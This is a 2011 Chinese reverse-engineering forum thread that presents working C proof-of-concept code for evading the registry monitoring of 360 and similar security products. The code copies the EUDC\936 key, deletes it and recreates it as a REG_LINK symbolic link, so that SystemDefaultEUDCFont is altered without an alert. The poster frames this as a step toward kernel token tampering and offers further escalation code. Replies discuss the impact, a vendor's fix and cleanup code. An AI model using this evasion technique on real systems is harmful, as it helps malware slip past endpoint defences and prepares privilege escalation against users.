首页
社区
课程
招聘
[原创]利用REG_LINK绕过360等注册表监控
发表于: 2011-3-22 11:30 22792

[原创]利用REG_LINK绕过360等注册表监控

2011-3-22 11:30
22792

一.测试环境
鉴于XP和360的市场占有率,故本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.7(备用木马库2011-03-21),360杀毒软件2.0.0.1330(病毒库日期2011-03-22 02:57),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户,whoami信息如下:

C:\Documents and Settings\admin>whoami /user

用户信息
----------------

用户名   SID
======== ============================================
qq\admin S-1-5-21-507921405-343818398-1606980848-1005

二.测试

1.测试1

#include <windows.h>

void main()
{
        BYTE        RegBuf[0x28] = {0};
        HKEY        hKey;

        if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
        {
                RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
                RegCloseKey(hKey);
        }
}

编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”。选择“阻止本次操作”,点确定后HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改

2.测试2

#include <windows.h>

void main()
{
        RegDeleteKey(HKEY_CURRENT_USER,L"EUDC\\936");
}

编译后运行,360无任何提示,HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936成功删除。

漏洞就在这里。我们可以把HKEY_USERS\(用户SID)\EUDC\936所有数值复制到另外一个项HKEY_USERS\(用户SID)\936Temp里面,修改936Temp里面的SystemDefaultEUDCFont数值类型和数据,修改时360不报。然后删除HKEY_USERS\(用户SID)\EUDC\936,再建立一个同名的HKEY_USERS\(用户SID)\EUDC\936项(REG_OPTION_CREATE_LINK),设置SymbolicLinkValue键值指向936Temp。这样无论是用户态还是内核态里面读取HKEY_USERS\(用户SID)\EUDC\936项下面的SystemDefaultEUDCFont数值,其实都是读取HKEY_USERS\(用户SID)\936Temp项下的SystemDefaultEUDCFont数值。

3.测试3
恢复原HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936。

#include <windows.h>
#include <Shlwapi.h>
#pragma comment(lib,"shlwapi.lib")

void main()
{
        BYTE        RegBuf[0x28] = {0};
        HKEY        k1,link;

        RegCreateKey(HKEY_CURRENT_USER, L"936Temp",&k1);
        SHCopyKey(HKEY_CURRENT_USER,L"EUDC\\936",k1,0);
        RegSetValueEx(k1, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);

        RegDeleteKey(HKEY_CURRENT_USER,L"EUDC\\936");

        WCHAR*        linkto=L"\\REGISTRY\\USER\\S-1-5-21-507921405-343818398-1606980848-1005\\936Temp";
        RegCreateKeyEx(HKEY_CURRENT_USER, L"EUDC\\936", 0, NULL, REG_OPTION_VOLATILE | REG_OPTION_CREATE_LINK, KEY_CREATE_LINK|KEY_SET_VALUE, NULL, &link, NULL);
        RegSetValueEx(link, L"SymbolicLinkValue", 0, REG_LINK, (BYTE *)linkto, wcslen(linkto)* sizeof(WCHAR));

        RegCloseKey(k1);
        RegCloseKey(link);
}

编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_USERS\S-1-5-21-507921405-343818398-1606980848-1005\EUDC\936项下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。

4.实际应用

在XP下改EUDC进内核还得过gs cookie,当然,改某些地方也可以不用过gs cookie,你懂的。
需要实际进内核改Token、加驱动的源代码以及EXE的话可以发邮件到KiDebug¥163.com,我会提供的。(注意,只提供给相关安全公司,在防御好了后我再公布出来。)

三、背景、感谢、参考资料
第一次看到REG_LINK的存在是在j00ru的文章《Windows XP SP3 Kernel Registry Handling Denial of Service》,在尝试能不拦不报不弹窗删除HKEY_USERS\(用户SID)\EUDC\936后,意识到可以利用REG_LINK,于是百度了一下“REG_LINK site:debugman.com”,搜索到了MJ0011的文章《继续爆料之注册表也LINK》。

感谢j00ru、MJ0011两位前辈!

《Windows XP SP3 Kernel Registry Handling Denial of Service》:
http://vexillium.org/dl.php?HISPSAEC_Local_DoS2.pdf

《继续爆料之注册表也LINK》:
http://www.debugman.com/discussion/2069/%E7%BB%A7%E7%BB%AD%E7%88%86%E6%96%99%E4%B9%8B%E6%B3%A8%E5%86%8C%E8%A1%A8%E4%B9%9Flink/p1


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (19)
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享这麽好的资料
2011-3-22 13:04
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
文章很好
收获很大
2011-3-22 13:33
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
简单实用
很不错的
发现之美
2011-3-22 13:51
0
雪    币: 224
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
顶 简单实用 确实
2011-3-22 14:31
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
6
顶了,实用,兄弟门,我们一起上一定可以把360剁成肉酱
2011-3-22 19:41
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
7
需要管理员权限,才能进内核。
这样的情况一般都是不被认为是漏洞的。
2011-3-22 21:13
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
8
但是实际应用上,用XP系统且平时就用管理员权限帐号的人有多少?所以还是有危险的啊
2011-3-22 21:20
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
9
由于标题是“绕过360等注册表监控”,所以文中的“漏洞”不是指Windows的漏洞,是指360等安全软件在注册表监控方面的不足之处。
2011-3-22 21:24
0
雪    币: 437
活跃值: (110)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
10
不喜欢数字
2011-3-22 22:08
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
11
感谢lz提供的信息,金山毒霸已经做出防御了。这个漏洞还是有很强的危害的。
2011-3-24 13:09
0
雪    币: 271
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wep
12
感谢分享。
2011-3-24 13:21
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
这玩意儿加上去删不掉啊,链接项一点就报错,整的我注册表乱七八糟的了
楼主给解药吧
2011-3-27 20:00
0
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
14
“…首先他生性孤傲,自恃高才,瞅谁都是菜鸟,当然不会真心跟菜鸟交朋友。同时在他眼里人是不分男女的,只有菜鸟和巨菜鸟两种…”

你真是和MJ0011不打不相识哈~~嘿嘿~~
2011-3-27 20:09
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
15
由于用的是REG_OPTION_VOLATILE,重启后就没了。不过咋不用虚拟机测呢?恢复下快照就好了…


2011-3-27 20:43
0
雪    币: 122
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
谢谢分享,学习中!
2011-3-28 18:34
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
大哥啊,我一开始就杯具地把这参数改成REG_OPTION_NON_VOLATILE了,还是告诉我个删除的办法吧
2011-3-31 23:21
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
18
假设HKEY_CURRENT_USER\EUDC\936为一个REG_LINK:

#include <windows.h>

typedef NTSTATUS ( __stdcall *NtDeleteKey_ ) (
        IN HANDLE KeyHandle
        );
NtDeleteKey_ NtDeleteKey = NULL;

void main()
{
        HKEY link;
        RegCreateKeyEx(HKEY_CURRENT_USER, L"EUDC\\936", 0, NULL, REG_OPTION_OPEN_LINK , DELETE, NULL, &link, NULL);
        NtDeleteKey                =        (NtDeleteKey_)        GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtDeleteKey");
        NtDeleteKey((HANDLE)link);
}
2011-4-1 11:25
0
雪    币: 76
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
碰到和艾米一样的问题,哈哈,来晚了
2011-9-11 14:16
0
雪    币: 113
活跃值: (100)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
修改注册表已经可以做很多事情了。不知道这个方法修改OS的启动项之后,或者创建service,或者BHO之后,360报不报。这不仅仅是注册表了。
2011-9-12 22:28
0
游客
登录 | 注册 方可回帖
返回
//